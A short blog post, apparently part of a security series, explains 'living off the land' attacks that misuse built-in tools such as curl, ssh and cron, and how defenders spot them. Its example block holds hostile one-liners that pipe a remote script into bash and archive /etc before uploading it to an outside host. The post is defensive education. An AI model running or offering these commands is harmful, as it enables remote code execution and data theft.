logo
logo
cd ..

living off the land: why modern attacks use your own tools instead of malware

Comments
3 min

living off the land: why modern attacks use your own tools instead of malware

living off the land: why modern attacks use your own tools instead of malware

in the last posts the trick was hiding the connection: reverse shells over outbound traffic, data through DNS. there's a simpler approach still. don't bring any tools at all. modern attackers barely ship malware anymore, they just use what's already on your machine. your antivirus scans files for known bad signatures, and there are no files to scan.

it's called living off the land (LOTL), and the idea is that a fresh server already contains everything an attacker needs.

your tools are the attack

some examples of things that are 100% legitimate, installed by you, and used daily in attacks:

  • curl: download the next stage of the attack, exfiltrate data with a POST
  • ssh: pivot to other machines, and nobody flags ssh on a server
  • tar / base64: archive and encode data before stealing it
  • bash's /dev/tcp: a reverse shell with zero downloads, the one we built in the reverse shell post
  • schtasks, crontab: persistence. cron brings the payload back after a reboot
  • python, perl: if either is installed, it's a full scripting engine the attacker didn't have to write

on windows it's the same story but louder. powershell is the king here, and an entire attack can be powershell, living in memory, never touching disk.

the result for the defender is uncomfortable: every artifact of the attack is also a normal system activity. curl in a process list means nothing, and signature matching has nothing to match.

what it actually looks like

what matters is context, not the command itself. these would look completely fine on a dev machine and completely wrong on, say, a production web server:

# downloading a script and running it, in one line
curl -s http://daoudi.li/x.sh | bash
# archiving the config folder, quietly
tar czf /tmp/e.tgz /etc && curl -T /tmp/e.tgz http://daoudi.li/
# an ssh client reaching out to a random host from a machine that never does that
ssh user@random-ip

none of these are malware. all of these are what attackers actually run, because they work out of the box.

detecting it without files

since there are no files to match, what's left is watching how these tools get used:

  • process lineage. curl started by your web server process is an emergency. bash as a child of sshd on a box nobody should be logging into is the same thing. nothing is wrong with the tool; the parent process is what makes it suspicious
  • baselining. your server does roughly the same ~30 things every day. anything outside that pattern (new outbound connections, new cron entries, tar of /etc) deserves a look. we already built exactly this with ss -tnp in the earlier posts
  • keep prod minimal. if curl and python aren't on your production server in the first place, LOTL has nothing to work with, since every tool you skip installing is one an attacker can't borrow

the resume of the writing :

  • modern attacks skip malware and just use your installed tools: curl, ssh, cron, bash
  • there's nothing to signature-match, because every action is also normal system activity
  • what gives it away is context: process lineage, and behavior outside the machine's baseline
  • defense is unglamorous: minimal prod images, no shell tools, watch what spawns what